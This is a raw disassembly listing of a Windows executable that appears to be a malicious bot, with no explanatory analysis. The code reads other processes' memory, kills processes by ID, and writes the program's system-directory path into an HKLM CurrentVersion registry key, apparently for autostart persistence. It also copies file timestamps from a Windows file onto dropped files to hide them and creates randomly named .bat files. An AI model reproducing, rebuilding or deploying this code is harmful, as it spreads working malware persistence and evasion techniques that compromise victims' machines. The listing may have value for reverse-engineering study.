var_1B0		= dword	ptr -1B0h
var_1AC		= dword	ptr -1ACh
var_1A8		= dword	ptr -1A8h
var_1A4		= byte ptr -1A4h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1A8]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		call	sub_406041
		mov	[ebp+var_1AC], eax
		cmp	[ebp+var_1AC], 0
		jz	loc_4064AD
		mov	eax, [ebp+var_1AC]
		push	dword ptr [eax]
		mov	eax, [ebp+var_1A8]
		push	dword ptr [eax]
		push	offset dword_418B1C
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		and	[ebp+var_1B0], 0
		jmp	short loc_4063F7
; ---------------------------------------------------------------------------


loc_4063EA:				; CODE XREF: sub_40637C:loc_40649Cj
		mov	eax, [ebp+var_1B0]
		inc	eax
		mov	[ebp+var_1B0], eax


loc_4063F7:				; CODE XREF: sub_40637C+6Cj
		mov	eax, [ebp+var_1AC]
		mov	ecx, [ebp+var_1B0]
		cmp	ecx, [eax]
		jge	loc_4064A1
		push	3E8h
		call	dword_41709C	; Sleep
		mov	eax, [ebp+var_1B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_1AC]
		mov	ecx, [ecx+4]
		lea	eax, [ecx+eax+0Ch]
		push	eax
		mov	eax, [ebp+var_1B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_1AC]
		mov	ecx, [ecx+4]
		push	dword ptr [ecx+eax+8]
		mov	eax, [ebp+var_1B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_1AC]
		mov	ecx, [ecx+4]
		push	dword ptr [ecx+eax+4]
		mov	eax, [ebp+var_1B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_1AC]
		mov	ecx, [ecx+4]
		push	dword ptr [ecx+eax]
		push	offset dword_418B04
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 18h
		mov	eax, [ebp+var_1A8]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40649C
		jmp	short loc_4064A1
; ---------------------------------------------------------------------------


loc_40649C:				; CODE XREF: sub_40637C+11Cj
		jmp	loc_4063EA
; ---------------------------------------------------------------------------


loc_4064A1:				; CODE XREF: sub_40637C+89j
					; sub_40637C+11Ej
		push	[ebp+var_1AC]
		call	sub_416B4C	; free
		pop	ecx


loc_4064AD:				; CODE XREF: sub_40637C+3Bj
		push	[ebp+var_1A8]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		leave
		retn	4
sub_40637C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4064BF	proc near		; CODE XREF: sub_40A9CF+3FFp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4064D9
		jmp	short locret_406507
; ---------------------------------------------------------------------------


loc_4064D9:				; CODE XREF: sub_4064BF+16j
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	offset dword_418B44
		push	0
		push	[ebp+var_4]
		push	offset sub_40637C
		call	sub_4095A4
		add	esp, 10h

locret_406507:				; CODE XREF: sub_4064BF+18j
		leave
		retn
sub_4064BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406509	proc near		; CODE XREF: sub_40A9CF+9C9p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		cmp	[ebp+arg_4], 0
		jz	short loc_40651B
		cmp	[ebp+arg_C], 0
		jnz	short loc_406520


loc_40651B:				; CODE XREF: sub_406509+Aj
		jmp	locret_406641
; ---------------------------------------------------------------------------


loc_406520:				; CODE XREF: sub_406509+10j
		push	[ebp+arg_4]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_8], eax
		push	[ebp+arg_8]
		call	sub_40A8AD
		pop	ecx
		mov	[ebp+var_C], eax
		push	[ebp+arg_C]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 180h
		jbe	short loc_406554
		mov	[ebp+var_4], 180h


loc_406554:				; CODE XREF: sub_406509+42j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_1C], eax
		push	[ebp+var_8]
		push	0
		push	10h
		call	dword_417094	; OpenProcess
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 0
		jnz	short loc_406586
		push	[ebp+var_1C]
		call	sub_416B4C	; free
		pop	ecx
		jmp	locret_406641
; ---------------------------------------------------------------------------


loc_406586:				; CODE XREF: sub_406509+6Dj
		and	[ebp+var_14], 0
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_1C]
		push	[ebp+var_C]
		push	[ebp+var_18]
		call	dword_417098	; ReadProcessMemory
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	loc_40662F
		cmp	[ebp+var_14], 0
		jz	short loc_40662F
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_4]
		and	byte ptr [eax],	0
		and	[ebp+var_20], 0
		jmp	short loc_4065C9
; ---------------------------------------------------------------------------


loc_4065C2:				; CODE XREF: sub_406509:loc_406620j
		mov	eax, [ebp+var_20]
		inc	eax
		mov	[ebp+var_20], eax


loc_4065C9:				; CODE XREF: sub_406509+B7j
		mov	eax, [ebp+var_20]
		cmp	eax, [ebp+var_14]
		jnb	short loc_406622
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Ah
		jz	short loc_406617
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Dh
		jz	short loc_406617
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 1Fh
		jz	short loc_406617
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 16h
		jz	short loc_406617
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 10h
		jg	short loc_406620


loc_406617:				; CODE XREF: sub_406509+D4j
					; sub_406509+E2j ...
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_20]
		mov	byte ptr [eax],	2Eh


loc_406620:				; CODE XREF: sub_406509+10Cj
		jmp	short loc_4065C2
; ---------------------------------------------------------------------------


loc_406622:				; CODE XREF: sub_406509+C6j
		push	[ebp+var_1C]
		push	[ebp+arg_0]
		call	sub_40D53F
		pop	ecx
		pop	ecx


loc_40662F:				; CODE XREF: sub_406509+9Ej
					; sub_406509+A8j
		push	[ebp+var_1C]
		call	sub_416B4C	; free
		pop	ecx
		push	[ebp+var_18]
		call	dword_4170A4	; CloseHandle

locret_406641:				; CODE XREF: sub_406509:loc_40651Bj
					; sub_406509+78j
		leave
		retn
sub_406509	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406643	proc near		; CODE XREF: sub_40A9CF+3D7p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_4], 0
		jnz	short loc_406650
		jmp	short locret_40668D
; ---------------------------------------------------------------------------


loc_406650:				; CODE XREF: sub_406643+9j
		push	[ebp+arg_4]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_4], eax
		call	dword_4170E8	; GetCurrentProcessId
		cmp	[ebp+var_4], eax
		jnz	short loc_406669
		jmp	short locret_40668D
; ---------------------------------------------------------------------------


loc_406669:				; CODE XREF: sub_406643+22j
		push	[ebp+var_4]
		push	0
		push	1
		call	dword_417094	; OpenProcess
		mov	[ebp+var_8], eax
		push	0
		push	[ebp+var_8]
		call	dword_4170A0	; TerminateProcess
		push	[ebp+var_8]
		call	dword_4170A4	; CloseHandle

locret_40668D:				; CODE XREF: sub_406643+Bj
					; sub_406643+24j
		leave
		retn
sub_406643	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40668F	proc near		; CODE XREF: sub_403DF3+149p
					; sub_40A9CF+BDp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_4066A0
; ---------------------------------------------------------------------------


loc_406699:				; CODE XREF: sub_40668F+2Aj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_4066A0:				; CODE XREF: sub_40668F+8j
		cmp	[ebp+var_4], 8
		jge	short loc_4066BB
		push	7Ah
		push	61h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	short loc_406699
; ---------------------------------------------------------------------------


loc_4066BB:				; CODE XREF: sub_40668F+15j
		mov	eax, [ebp+arg_0]
		and	byte ptr [eax+8], 0
		and	[ebp+var_4], 0
		jmp	short loc_4066CF
; ---------------------------------------------------------------------------


loc_4066C8:				; CODE XREF: sub_40668F+59j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_4066CF:				; CODE XREF: sub_40668F+37j
		cmp	[ebp+var_4], 6
		jge	short loc_4066EA
		push	7Ah
		push	61h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	short loc_4066C8
; ---------------------------------------------------------------------------


loc_4066EA:				; CODE XREF: sub_40668F+44j
		mov	eax, [ebp+arg_4]
		and	byte ptr [eax+6], 0
		and	[ebp+var_4], 0
		jmp	short loc_4066FE
; ---------------------------------------------------------------------------


loc_4066F7:				; CODE XREF: sub_40668F+88j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_4066FE:				; CODE XREF: sub_40668F+66j
		cmp	[ebp+var_4], 10h
		jge	short loc_406719
		push	7Ah
		push	61h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	short loc_4066F7
; ---------------------------------------------------------------------------


loc_406719:				; CODE XREF: sub_40668F+73j
		mov	eax, [ebp+arg_8]
		and	byte ptr [eax+10h], 0
		leave
		retn
sub_40668F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406722	proc near		; CODE XREF: sub_40A9CF+F40p

var_424		= byte ptr -424h
var_420		= dword	ptr -420h
var_41C		= dword	ptr -41Ch
var_418		= byte ptr -418h
var_218		= dword	ptr -218h
var_214		= dword	ptr -214h
var_210		= dword	ptr -210h
var_20C		= byte ptr -20Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 424h
		cmp	[ebp+arg_4], 0
		jnz	short loc_406736
		jmp	locret_406A21
; ---------------------------------------------------------------------------


loc_406736:				; CODE XREF: sub_406722+Dj
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax+4]
		cmp	eax, 5Ch
		jz	short loc_406747
		jmp	locret_406A21
; ---------------------------------------------------------------------------


loc_406747:				; CODE XREF: sub_406722+1Ej
		push	4
		push	offset aHkcr	; "HKCR"
		push	[ebp+arg_4]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_406769
		mov	[ebp+var_218], 80000000h
		jmp	short loc_4067D4
; ---------------------------------------------------------------------------


loc_406769:				; CODE XREF: sub_406722+39j
		push	4
		push	offset aHkcu	; "HKCU"
		push	[ebp+arg_4]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40678B
		mov	[ebp+var_218], 80000001h
		jmp	short loc_4067D4
; ---------------------------------------------------------------------------


loc_40678B:				; CODE XREF: sub_406722+5Bj
		push	4
		push	offset aHklm	; "HKLM"
		push	[ebp+arg_4]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4067AD
		mov	[ebp+var_218], 80000002h
		jmp	short loc_4067D4
; ---------------------------------------------------------------------------


loc_4067AD:				; CODE XREF: sub_406722+7Dj
		push	4
		push	offset aHkus	; "HKUS"
		push	[ebp+arg_4]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4067CF
		mov	[ebp+var_218], 80000003h
		jmp	short loc_4067D4
; ---------------------------------------------------------------------------


loc_4067CF:				; CODE XREF: sub_406722+9Fj
		jmp	locret_406A21
; ---------------------------------------------------------------------------


loc_4067D4:				; CODE XREF: sub_406722+45j
					; sub_406722+67j ...
		mov	eax, [ebp+arg_4]
		add	eax, 5
		mov	[ebp+arg_4], eax
		push	[ebp+arg_4]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_210], eax
		jmp	short loc_4067FB
; ---------------------------------------------------------------------------


loc_4067EE:				; CODE XREF: sub_406722:loc_406858j
		mov	eax, [ebp+var_210]
		dec	eax
		mov	[ebp+var_210], eax


loc_4067FB:				; CODE XREF: sub_406722+CAj
		cmp	[ebp+var_210], 0
		jnz	short loc_406809
		jmp	locret_406A21
; ---------------------------------------------------------------------------


loc_406809:				; CODE XREF: sub_406722+E0j
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_210]
		movsx	eax, byte ptr [eax]
		cmp	eax, 5Ch
		jnz	short loc_406858
		mov	eax, [ebp+var_210]
		mov	ecx, [ebp+arg_4]
		lea	eax, [ecx+eax+1]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		cmp	eax, 200h
		jb	short loc_40683A
		jmp	locret_406A21
; ---------------------------------------------------------------------------


loc_40683A:				; CODE XREF: sub_406722+111j
		mov	eax, [ebp+var_210]
		mov	ecx, [ebp+arg_4]
		lea	eax, [ecx+eax+1]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_40685A
; ---------------------------------------------------------------------------


loc_406858:				; CODE XREF: sub_406722+F6j
		jmp	short loc_4067EE
; ---------------------------------------------------------------------------


loc_40685A:				; CODE XREF: sub_406722+134j
		cmp	[ebp+var_210], 200h
		jb	short loc_40686B
		jmp	locret_406A21
; ---------------------------------------------------------------------------


loc_40686B:				; CODE XREF: sub_406722+142j
		push	[ebp+var_210]
		push	[ebp+arg_4]
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_210]
		and	[ebp+eax+var_418], 0
		lea	eax, [ebp+var_C]
		push	eax
		push	1
		push	0
		lea	eax, [ebp+var_418]
		push	eax
		push	[ebp+var_218]
		call	dword_417008	; RegOpenKeyExA
		test	eax, eax
		jz	short loc_4068B5
		jmp	locret_406A21
; ---------------------------------------------------------------------------


loc_4068B5:				; CODE XREF: sub_406722+18Cj
		mov	[ebp+var_8], 1000h
		push	[ebp+var_8]
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_214], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+var_214]
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		lea	eax, [ebp+var_20C]
		push	eax
		push	[ebp+var_C]
		call	dword_41700C	; RegQueryValueExA
		test	eax, eax
		jnz	loc_406A0C
		cmp	[ebp+var_4], 1
		jz	short loc_4068FF
		cmp	[ebp+var_4], 2
		jnz	short loc_406915


loc_4068FF:				; CODE XREF: sub_406722+1D5j
		push	[ebp+var_214]
		push	offset dword_418B64
		push	[ebp+arg_0]
		call	sub_40D53F
		add	esp, 0Ch


loc_406915:				; CODE XREF: sub_406722+1DBj
		cmp	[ebp+var_4], 4
		jnz	short loc_406933
		mov	eax, [ebp+var_214]
		push	dword ptr [eax]
		push	offset dword_418B5C
		push	[ebp+arg_0]
		call	sub_40D53F
		add	esp, 0Ch


loc_406933:				; CODE XREF: sub_406722+1F7j
		cmp	[ebp+var_4], 3
		jnz	loc_406A0C
		push	180h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_420], eax
		mov	eax, [ebp+var_420]
		and	byte ptr [eax],	0
		and	[ebp+var_41C], 0
		jmp	short loc_40696D
; ---------------------------------------------------------------------------


loc_406960:				; CODE XREF: sub_406722+2C3j
		mov	eax, [ebp+var_41C]
		inc	eax
		mov	[ebp+var_41C], eax


loc_40696D:				; CODE XREF: sub_406722+23Cj
		mov	eax, [ebp+var_41C]
		cmp	eax, [ebp+var_8]
		jnb	short loc_4069EA
		mov	eax, [ebp+var_214]
		add	eax, [ebp+var_41C]
		movzx	eax, byte ptr [eax]
		push	eax
		push	offset dword_418B54
		lea	eax, [ebp+var_424]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		push	[ebp+var_420]
		call	sub_416B40	; strlen
		pop	ecx
		add	eax, 3
		cmp	eax, 180h
		jb	short loc_4069D1
		push	[ebp+var_420]
		push	offset dword_418B64
		push	[ebp+arg_0]
		call	sub_40D53F
		add	esp, 0Ch
		mov	eax, [ebp+var_420]
		and	byte ptr [eax],	0


loc_4069D1:				; CODE XREF: sub_406722+28Ej
		lea	eax, [ebp+var_424]
		push	eax
		push	[ebp+var_420]
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		jmp	loc_406960
; ---------------------------------------------------------------------------


loc_4069EA:				; CODE XREF: sub_406722+254j
		push	[ebp+var_420]
		push	offset dword_418B64
		push	[ebp+arg_0]
		call	sub_40D53F
		add	esp, 0Ch
		push	[ebp+var_420]
		call	sub_416B4C	; free
		pop	ecx


loc_406A0C:				; CODE XREF: sub_406722+1CBj
					; sub_406722+215j
		push	[ebp+var_214]
		call	sub_416B4C	; free
		pop	ecx
		push	[ebp+var_C]
		call	dword_417028	; RegCloseKey

locret_406A21:				; CODE XREF: sub_406722+Fj
					; sub_406722+20j ...
		leave
		retn
sub_406722	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406A23	proc near		; CODE XREF: sub_40D043:loc_40D18Dp
					; sub_40D871:loc_40DB71p

var_20C		= byte ptr -20Ch
var_108		= dword	ptr -108h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	104h
		lea	eax, [ebp+var_20C]
		push	eax
		call	dword_417050	; GetSystemDirectoryA
		push	offset dword_418DE4
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		push	offset dword_41DD1C
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_20C]
		push	eax
		call	dword_4170AC	; DeleteFileA
		push	offset dword_4182AC
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_108], eax
		cmp	[ebp+var_108], 0
		jz	short locret_406AE5
		push	[ebp+var_108]
		push	1
		push	2
		push	offset dword_418DE0
		call	sub_416B7C	; fwrite
		add	esp, 10h
		push	[ebp+var_108]
		call	sub_416B82	; fclose
		pop	ecx
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_406B81
		pop	ecx

locret_406AE5:				; CODE XREF: sub_406A23+90j
		leave
		retn
sub_406A23	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406AE7	proc near		; CODE XREF: sub_40D043+13Dp
					; sub_40D871+2F3p

var_20C		= byte ptr -20Ch
var_108		= dword	ptr -108h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	104h
		lea	eax, [ebp+var_20C]
		push	eax
		call	dword_417050	; GetSystemDirectoryA
		push	offset dword_418DE4
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		push	offset dword_41DD1C
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		push	offset aRb	; "rb"
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_108], eax
		cmp	[ebp+var_108], 0
		jz	short loc_406B7D
		push	[ebp+var_108]
		call	sub_416B82	; fclose
		pop	ecx
		push	1
		pop	eax
		jmp	short locret_406B7F
; ---------------------------------------------------------------------------


loc_406B7D:				; CODE XREF: sub_406AE7+83j
		xor	eax, eax

locret_406B7F:				; CODE XREF: sub_406AE7+94j
		leave
		retn
sub_406AE7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406B81	proc near		; CODE XREF: sub_406A23+BCp
					; sub_406E8E+246p

var_120		= dword	ptr -120h
var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	104h
		lea	eax, [ebp+var_11C]
		push	eax
		call	dword_417040	; GetWindowsDirectoryA
		push	offset dword_418DE8
		lea	eax, [ebp+var_11C]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		push	0
		push	80h
		push	3
		push	0
		push	1
		push	80000000h
		lea	eax, [ebp+var_11C]
		push	eax
		call	dword_417044	; CreateFileA
		mov	[ebp+var_120], eax
		cmp	[ebp+var_120], 0FFFFFFFFh
		jz	short locret_406C4F
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_120]
		call	dword_417048	; GetFileTime
		push	[ebp+var_120]
		call	dword_4170A4	; CloseHandle
		push	0
		push	80h
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	dword_417044	; CreateFileA
		mov	[ebp+var_120], eax
		cmp	[ebp+var_120], 0FFFFFFFFh
		jz	short locret_406C4F
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_120]
		call	dword_41704C	; SetFileTime
		push	[ebp+var_120]
		call	dword_4170A4	; CloseHandle

locret_406C4F:				; CODE XREF: sub_406B81+5Aj
					; sub_406B81+A8j
		leave
		retn
sub_406B81	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406C51	proc near		; CODE XREF: sub_406E8E+133p
					; sub_406E8E+214p ...

var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		push	offset aSoftwareMicros ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		push	80000002h
		call	dword_417014	; RegCreateKeyExA
		cmp	[ebp+arg_0], 0
		jz	short loc_406CE1
		push	104h
		lea	eax, [ebp+var_108]
		push	eax
		call	dword_417050	; GetSystemDirectoryA
		push	offset dword_418DE4
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		push	[ebp+arg_8]
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_108]
		push	eax
		call	dword_41703C	; lstrlen
		inc	eax
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		push	1
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	dword_417010	; RegSetValueExA
		jmp	short loc_406CED
; ---------------------------------------------------------------------------


loc_406CE1:				; CODE XREF: sub_406C51+30j
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	dword_417004	; RegDeleteValueA


loc_406CED:				; CODE XREF: sub_406C51+8Ej
		push	[ebp+var_4]
		call	dword_417028	; RegCloseKey
		leave
		retn
sub_406C51	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406CF8	proc near		; CODE XREF: sub_406D47+2Bp
					; sub_406E8E+253p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		push	[ebp+arg_0]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_C], eax
		and	[ebp+var_4], 0
		jmp	short loc_406D1D
; ---------------------------------------------------------------------------


loc_406D16:				; CODE XREF: sub_406CF8:loc_406D40j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_406D1D:				; CODE XREF: sub_406CF8+1Cj
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jnb	short loc_406D42
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 5Ch
		jnz	short loc_406D40
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		lea	eax, [ecx+eax+1]
		mov	[ebp+var_8], eax


loc_406D40:				; CODE XREF: sub_406CF8+39j
		jmp	short loc_406D16
; ---------------------------------------------------------------------------


loc_406D42:				; CODE XREF: sub_406CF8+2Bj
		mov	eax, [ebp+var_8]
		leave
		retn
sub_406CF8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406D47	proc near		; CODE XREF: sub_406E8E+9p
					; sub_407148+9p

var_108		= byte ptr -108h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		push	104h
		lea	eax, [ebp+var_108]
		push	eax
		push	0
		call	dword_41708C	; GetModuleHandleA
		push	eax
		call	dword_417090	; GetModuleFileNameA
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_406CF8
		pop	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		and	byte ptr [eax],	0
		lea	eax, [ebp+var_108]
		push	eax
		call	dword_417038	; SetCurrentDirectoryA
		leave
		retn
sub_406D47	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406D90	proc near		; CODE XREF: sub_406E8E+25Ap
					; sub_407148+168p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	8
		push	4
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_20], eax
		and	[ebp+var_1C], 0


loc_406DA8:				; CODE XREF: sub_406D90:loc_406DDFj
		push	7Ah
		push	61h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_1C]
		mov	[ebp+ecx+var_18], al
		mov	eax, [ebp+var_1C]
		inc	eax
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_20]
		jnz	short loc_406DDF
		push	offset a_bat	; ".bat"
		mov	eax, [ebp+var_1C]
		lea	eax, [ebp+eax+var_18]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_406DE1
; ---------------------------------------------------------------------------


loc_406DDF:				; CODE XREF: sub_406D90+37j
		jmp	short loc_406DA8
; ---------------------------------------------------------------------------


loc_406DE1:				; CODE XREF: sub_406D90+4Dj
		push	[ebp+arg_0]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_8], eax
		push	400h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_24], eax
		lea	eax, [ebp+var_18]
		push	eax
		call	dword_4170AC	; DeleteFileA
		push	0
		push	0
		push	2
		push	0
		push	0
		push	40000000h
		lea	eax, [ebp+var_18]
		push	eax
		call	dword_417044	; CreateFileA
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0FFFFFFFFh
		jnz	short loc_406E2B
		xor	eax, eax
		jmp	short locret_406E8C
